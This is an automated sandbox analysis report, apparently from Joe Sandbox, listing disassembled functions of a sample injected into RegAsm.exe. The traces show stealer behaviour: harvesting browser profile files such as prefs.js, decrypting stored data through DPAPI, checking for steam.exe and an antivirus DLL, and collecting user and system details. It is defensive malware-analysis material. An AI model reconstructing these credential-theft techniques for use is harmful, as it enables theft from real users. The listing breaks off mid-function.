Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FE1: Sleep.KERNEL32(000003E8,?,?), ref: 00417048

Strings

\*.*, xrefs: 00401E9E
RzA, xrefs: 00401D95

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$Find$lstrcpy$Close$CreateFirstNextlstrcat$AllocAttributesFolderHandleLocalObjectPathReadSingleSizeSleepSystemThreadTimeWaitlstrlen
String ID: RzA$\*.*
API String ID: 1116797323-2931902316
Opcode ID: 205ca9df9cbcbc4aea23f1733b1f31c9be91d5c31bf4cdcdca7f62653448333b
Instruction ID: 03da2bfaf68b702303e35fd0d74e3e7e3015190b13afd2a7b28b66f7f795f994
Opcode Fuzzy Hash: 205ca9df9cbcbc4aea23f1733b1f31c9be91d5c31bf4cdcdca7f62653448333b
Instruction Fuzzy Hash: 0F320E71A401299BCF21FB25DD4A6CD7375AF04308F5110EAB548771A1DBB8AFC98F98

Function 0040D5C6 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 229fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437570,004368A3,?,?,?), ref: 0040D647
StrCmpCA.SHLWAPI(?,00437574), ref: 0040D668
StrCmpCA.SHLWAPI(?,00437578), ref: 0040D682
StrCmpCA.SHLWAPI(?,prefs.js,0043757C,?,004368AE), ref: 0040D70E

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001,0043758C,004368AF), ref: 0040D7E8
DeleteFileA.KERNEL32(?), ref: 0040D8B3
FindNextFileA.KERNELBASE(?,?), ref: 0040D956
FindClose.KERNEL32(?), ref: 0040D96A

Strings

prefs.js, xrefs: 0040D702

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextSystemTimelstrlen
String ID: prefs.js
API String ID: 893096357-3783873740
Opcode ID: b97fea42974d094fd0cc0a613e254844a6b46db4e59ccc5c2ab5cfbf39ed580e
Instruction ID: 61a6a4170e4fe4489c424ce047c768c6d3b4f1f2829f9531367362cbf9008bf3
Opcode Fuzzy Hash: b97fea42974d094fd0cc0a613e254844a6b46db4e59ccc5c2ab5cfbf39ed580e
Instruction Fuzzy Hash: ACA10C71D001289BCF60FB65DD46BCD7375AF04318F4141EAA808B7292DB79AEC98F99

Function 0040B5DF Relevance: 13.7, APIs: 9, Instructions: 217fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,00437424,00436822,?,?,?), ref: 0040B657
StrCmpCA.SHLWAPI(?,00437428), ref: 0040B678
StrCmpCA.SHLWAPI(?,0043742C), ref: 0040B692
StrCmpCA.SHLWAPI(?,00437430,?,00436823), ref: 0040B71F
StrCmpCA.SHLWAPI(?), ref: 0040B780

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 0040ABE5: CopyFileA.KERNEL32(?,?,00000001,004373D0,00436812,?,?,?), ref: 0040AC8A

FindNextFileA.KERNELBASE(?,?), ref: 0040B8EB
FindClose.KERNEL32(?), ref: 0040B8FF

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFind$lstrcat$CloseCopyFirstNextlstrlen
String ID:
API String ID: 3801961486-0
Opcode ID: be877e69e0e089cd8ab01e0cb2d97779cc3744e73bec3c07472078e9045534b6
Instruction ID: c2b4ad5d3bc6b5bda946f752b02f6bf4f7fa1bcc677035090155be8f65edf037
Opcode Fuzzy Hash: be877e69e0e089cd8ab01e0cb2d97779cc3744e73bec3c07472078e9045534b6
Instruction Fuzzy Hash: 51812B7290021C9BCB20FB75DD46AD97779AB04308F4501A6EC48B3291EB789E998ED9

Function 004124A8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 004124B2
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004124D4
Process32First.KERNEL32(00000000,00000128), ref: 004124E4
Process32Next.KERNEL32(00000000,00000128), ref: 004124F6
StrCmpCA.SHLWAPI(?,steam.exe), ref: 00412508
CloseHandle.KERNEL32(00000000), ref: 00412521

Strings

steam.exe, xrefs: 004124B7, 00412500

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID: steam.exe
API String ID: 1799959500-2826358650
Opcode ID: 027243ba97dca435574cf407395d6595096f7edf51cf7e00fac65da0e2a1e439
Instruction ID: 7bc993b3c5e25ddc5b0c025549b9a5cd4ad7e4e53104c4749658d5c2ec1958f9
Opcode Fuzzy Hash: 027243ba97dca435574cf407395d6595096f7edf51cf7e00fac65da0e2a1e439
Instruction Fuzzy Hash: B7012170A01224DFDB61DB64DD45BDE77B9AF09311F4011E6E409E2290EB399B80CB25

Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 4176af9426ca8c65a5d2d39e3f69b2d34f43a335228f72c7d4bc45651ce1b95f
Instruction ID: 98ad5db47aa5c0001f6daffa45158c7dc3aaf39aa7ec1d295977e7341d2d2e4d
Opcode Fuzzy Hash: 4176af9426ca8c65a5d2d39e3f69b2d34f43a335228f72c7d4bc45651ce1b95f
Instruction Fuzzy Hash: 53314F71900328AFCB20EF65DD89BDEB3B8AB04304F5045EAF519A3152D7B86EC58F64

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F7B,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: f47c98c3e1c91f75858e12964c0db131b012c4349877da7a030af09ac4c69f93
Instruction ID: 8fd29eac0b97b57b29b6d4365dcb14f371c011a58ab206fcfa1fb590131ba033
Opcode Fuzzy Hash: f47c98c3e1c91f75858e12964c0db131b012c4349877da7a030af09ac4c69f93
Instruction Fuzzy Hash: 21018135A00224AFEB61DB609D48FEE77FE9F19301F4400E6E40DE2251EA798B849B35

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: b717124d1b6440d5abd8696517bfefbdbba460058434ee57c5c57b05d098b9b3
Instruction ID: 2358bb5b3f35a3ad40a3a0386f4508cbb0988a8bb62faa6fc949f4816cf41d80
Opcode Fuzzy Hash: b717124d1b6440d5abd8696517bfefbdbba460058434ee57c5c57b05d098b9b3
Instruction Fuzzy Hash: E6117771A00214ABDB11EB65DC85BED73B9AB48304F400097F905A3251DB78AEC48B64

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: aa6011d6ae7f68198777d67e64500c0ef630455287c68b41e54707e689605376
Instruction ID: 9c4555a76ba769696941e186a30169b52a42ac3e321656be180e5794a9869106
Opcode Fuzzy Hash: aa6011d6ae7f68198777d67e64500c0ef630455287c68b41e54707e689605376
Instruction Fuzzy Hash: C6F0E070A0132467EB04DBB4EC49B9B37799B04725F100295F511D71D0EB759E844795

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: bc587f4ff19bfb58b8b8354d1010e4f139cacf4c9d0fa74460da390e4a8c753e
Instruction ID: 34f53908faf426b5c9cd97adde2a4a918f960e6824188aa54f4cd522321a1d33
Opcode Fuzzy Hash: bc587f4ff19bfb58b8b8354d1010e4f139cacf4c9d0fa74460da390e4a8c753e
Instruction Fuzzy Hash: E4E092B0D1021DABCF04DF60EC459DE77FCEB08208F0054F5A505E3180D6B4AB888F44

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,0041868E), ref: 004014DF

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
